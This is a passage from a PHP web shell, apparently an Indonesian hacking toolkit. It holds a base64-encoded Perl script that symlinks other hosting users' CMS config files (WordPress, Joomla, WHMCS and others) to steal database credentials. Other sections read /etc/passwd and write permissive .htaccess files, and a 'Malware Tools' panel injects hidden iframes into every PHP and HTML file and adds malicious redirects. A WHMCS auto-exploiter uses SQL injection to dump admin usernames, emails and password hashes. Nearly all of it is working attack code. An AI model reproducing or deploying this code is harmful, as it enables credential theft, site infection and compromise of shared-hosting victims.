ZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2ViL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13ZWIudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXByb3RhbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+b3JkcHJlc3Mtc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW1haW4udHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy10ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS50eHQnKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb29tbGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1wcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb28udHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1jbXMudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1tYWluLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ld3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlZCdWxsZXRpbi1mb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnZiMy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnBhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdHMudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQtc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+aG9wLVpDc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+Pm1rLXBvcnRhbGUxLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi50eHQnKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bS50eHQnKTsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pm1hbGF5LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsZW50cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkZG9tYWluLid+fj53ZWJjb25maWcyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYTEudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywkZG9tYWluLid+PkRydXBhbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2UxMDdfY29uZmlnLnBocCcsJGRvbWFpbi4nfj5lMTA3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLnR4dCcpOyANCn0NCmlmICgkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICdQT1NUJykgew0KICByZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQogICRidWZmZXIgPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCn0NCkBwYWlycyA9IHNwbGl0KC8mLywgJGJ1ZmZlcik7DQpmb3JlYWNoICRwYWlyIChAcGFpcnMpIHsNCiAgKCRuYW1lLCAkdmFsdWUpID0gc3BsaXQoLz0vLCAkcGFpcik7DQogICRuYW1lID1+IHRyLysvIC87DQogICRuYW1lID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICR2YWx1ZSA9fiB0ci8rLyAvOw0KICAkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJEZPUk17JG5hbWV9ID0gJHZhbHVlOw0KfQ0KaWYgKCRGT1JNe3Bhc3N9IGVxICIiKXsNCnByaW50ICcNCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+Q29uZmlnIEZ1Y2tlcjwvcD4NCjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBDb2RlZCBCeSA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+WC0xTjczQ1Q8L2ZvbnQ+PGZvbnQgY29sb3I9IiNDMEMwQzAiPl08L2ZvbnQ+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9InBhc3MiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjMDBmZjAwOyB3aWR0aDogNTQzcHg7IGhlaWdodDogNDIwcHg7IGJhY2tncm91bmQtY29sb3I6IzBDMEMwQzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojRkYwMDAwIiAgPjwvdGV4dGFyZWE+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGMDAwMDsgIiAgLz48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHRVQgQ09ORklHICEiIHN0eWxlPSJib3JkZXI6MXB4IGRvdHRlZCAjRkYwMDAwOyB3aWR0aDogOTk7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjEwcHQ7IGNvbG9yOiM1OUU4MTc7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEMiIC8+PC9wPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPllvdSBnb3QgaXQhITxicj48YnI+PGJyPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBDb2RlZCBCeSA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+WC0xTjczQ1Q8L2ZvbnQ+PGZvbnQgY29sb3I9IiNDMEMwQzAiPl08L2ZvbnQ+PC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==";
$per5 = fopen("bot.pl" ,"w+");
$write = fwrite ($per5 ,base64_decode($f10));
fclose($per5);
chmod("bot.pl",0777);
chmod(".htaccess",0777);
echo "<iframe src=MCF_config/bot.pl width=97% height=100% frameborder=0></iframe>
</div>";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpconfig')){ @ini_set('output_buffering',0);
{
?>
<form action="?y=<?php echo $pwd; ?>&x=phpconfig" method="post">
<CENTER><br/><br><b><font color=white>+--=[ PHP Config Fucker Priv8 ]=--+</font></b><br><br><br>
<form method=post><table class=tabnet ><tr><textarea style="background:black;outline:none;" rows=20 cols=85 name=user><?php $users=file("/etc/passwd");
foreach($users as $user){ $str=explode(":",$user); echo $str[0]."
";} ?></textarea><br><b> Your Folder Config Name : <b/><input class=inputz type=text name=folfig size=40 value="" /><input type=submit class=inputzbut name=su value="Lets Start" /></tr></table></form></CENTER>
<?php
error_reporting(0);
echo "<font color=red size=2 face=\"comic sans ms\">";
if(isset($_POST['su']))
{
$folfig = $_POST['folfig'];
mkdir($folfig,0777);
chdir($folfig);
$rr = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddHandler txt .php
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
Options Indexes FollowSymLinks
AddType txt .php
AddType text/html .shtml
";
$inj1=".htaccess";
$g = fopen($inj1,'w');
fwrite($g,$rr);
fclose ($g);
$indishell = symlink("/","$folfig/root");
$rt="<a href=$folfig/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
echo "Please check link given below for / folder symlink <br><u>$rt</u>";
$dir=mkdir($folfig,0777);
$r = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddHandler txt .php
AddHandler cgi-script .cgi
AddHandler cgi-script .pl
Options Indexes FollowSymLinks
AddType txt .php
AddType text/html .shtml
";
$inj =".htaccess";
$f = fopen($inj,'w');
fwrite($f,$r);
fclose($f);
$consym="<a href=$folfig/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.php","wordpress/wp-config.php","web/wp-config.php","wp/wp-config.php","press/wp-config.php","wordpress/beta/wp-config.php",
"news/wp-config.php","new/wp-config.php","blogs/wp-config.php","home/wp-config.php","blog/wp-config.php","protal/wp-config.php","site/wp-config.php",
"main/wp-config.php","test/wp-config.php","wp/beta/wp-config.php","beta/wp-config.php","joomla/configuration.php","protal/configuration.php",
"joo/configuration.php","cms/configuration.php","site/configuration.php","main/configuration.php","news/configuration.php","new/configuration.php",
"home/configuration.php","configuration.php","SSI.php","forum/SSI.php","forum/inc/config.php","forum/includes/config.php","upload/includes/config.php",
"cc/includes/config.php","vb/includes/config.php","vb3/includes/config.php","cpanel/configuration.php","panel/configuration.php","ubmitticket.php",
"manage/configuration.php","myshop/configuration.php","beta/configuration.php","includes/config.php","lib/config.php","conf_global.php",
"inc/config.php","incl/config.php","include/db.php","include/config.php","includes/functions.php","includes/dist-configure.php","connect.php",
"mk_conf.php","config/koneksi.php","system/sistem.php","config.php","Settings.php","settings.php","sites/default/settings.php","smf/Settings.php",
"forum/Settings.php","forums/Settings.php","host/configuration.php","hosting/configuration.php","hosts/configuration.php","zencart/includes/dist-configure.php",
"shop/includes/dist-configure.php","whm/configuration.php","whmc/configuration.php","whmcs/configuration.php","whmc/WHM/configuration.php",
"whm/WHMCS/configuration.php","whm/whmcs/configuration.php","order/configuration.php","support/configuration.php","supports/configuration.php",
"oscommerce/includes/configure.php","oscommerces/includes/configure.php","shopping/includes/configure.php","sale/includes/configure.php","config.inc.php",
"amember/config.inc.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php",
"clientsupport/configuration.php","billing/configuration.php","billings/configuration.php","admin/conf.php","datas/config.php","e107_config.php",
"sites/default/settings.php","admin/config.php");
foreach($usr as $uss )
{
$us=trim($uss);
foreach($configuration as $c)
{
$rs="/home/".$us."/public_html/".$c;
$r="$folfig/".$us." .. ".$c;
symlink($rs,$r);
}
}
}
}
}
//////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>'.$ip.'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
?>
<?php
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'Malware')){ @ini_set('output_buffering',0);
{
?>
<form action="?y=<?php echo $pwd; ?>&x=Malware" method="post">
<br><br><center><b><font size=4>+--=[ Malware Tools ]=--+</font></b> <br> <br>
<font color="red"><b>In private network / Dial Up Modem ,PC Private , Or Home PC / NETWORK </b></font> (Please Don't Use it Nub..!!)<br><br>
<input class='inputzbut' type='submit' name='redirect' value="Redirect Search Engine To Malware Site" /></td><td>
<input class='inputzbut' type='submit' name='infect' value="Infect User" /></td><tr></table>
<input class='inputzbut' type='submit' name='code' value="Code Insert" /></td><tr></table>
</center>
<?php
if(isset($_POST['redirect']))
if($myfile = fopen(".htaccess",'a'))
{
fwrite($myfile, gzuncompress(base64_decode($mal)));
fwrite($myfile, "
");
fclose($myfile);
ob_end_flush();
}
else
echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
}
if(isset($_POST['infect']))
{
$coun = 0;
$str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00)
{
if($myfile=fopen($injectj00,'a'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
foreach (glob($_GET['dir'] . $directorysperator . "*.htm") as $injectj00)
{
if($myfile=fopen($injectj00,'a'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
foreach (glob($_GET['dir'] . $directorysperator . "*.html") as $injectj00)
{
if($myfile=fopen($injectj00,'a'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
if($coun == 0)
echo "<script>alert('Malware Infect In user ... DONE...!!!!'); hideAll();</script>";
else
echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
}
if(!isset($_POST['code']))
{
if($file1 = fopen(".htaccess",'r'))
{
}
else
echo "<script>alert('Malware Ga ke kirim Jancookk'); hideAll();</script>";
}else
{
if($myfile = fopen(".htaccess",'a'))
{
fwrite($myfile, $_POST['code']);
fwrite($myfile, "
");
fclose($myfile);
ob_end_flush();
}
else
echo "Permission Denied";
}
/////////////////////////////////////////////////////////////////
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmexploter3'))
{
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
function letItBy(){ ob_flush(); flush(); }
function getAlexa($url)
{
$xml = simplexml_load_file('http://data.alexa.com/data?cli=10&dat=snbamz&url='.$url);
$rank1 = $xml->SD[1];
if($rank1)
$rank = $rank1->POPULARITY->attributes()->TEXT;
else
$rank = 0;
return $rank;
}
function google_that($query, $page=1)
{
$resultPerPage=8;
$start = $page*$resultPerPage;
$url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query);
$resultFromGoogle = json_decode( http_get($url, true) ,true);
if(isset($resultFromGoogle['responseStatus'])) {
if($resultFromGoogle['responseStatus'] != '200') return false;
if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
else return $resultFromGoogle['responseData']['results'];
}
else
die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
}
function http_get($url, $safemode = false){
if($safemode === true) sleep(1);
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close();
}
function check_vuln($url) {
$url = dirname($url) . '/viewticket.php';
$url = str_replace("/admin","",$url);
$post = "tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(0x3a3a3a3a3a,id,0x3a,username,0x3a,email,0x3a,password,0x3a3a3a3a3a) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#";
$curl_connection = curl_init($url);
if($curl_connection != false) {
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post);
$source = curl_exec($curl_connection);
preg_match_all('/:::::(.*?):::::/s',$source,$infoz);
if($infoz[0]) {
return $infoz[0];
}
else
return "Fail!";
}
else
return "Fail!";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=whmexploter3" method="post">
<CENTER><br/><br><b><font color=white>+--=[ WHMCS Auto Exploiter Priv8 ]=--+</font></b><br><br><br>
<STYLE>
textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid #000000;}
input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20}
body {
font-family: Tahoma
}
.table1 {
BORDER: 0px Black;
BACKGROUND-COLOR: Black;
color: #FFF;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: white;
}
input {
BACKGROUND-COLOR: Black;
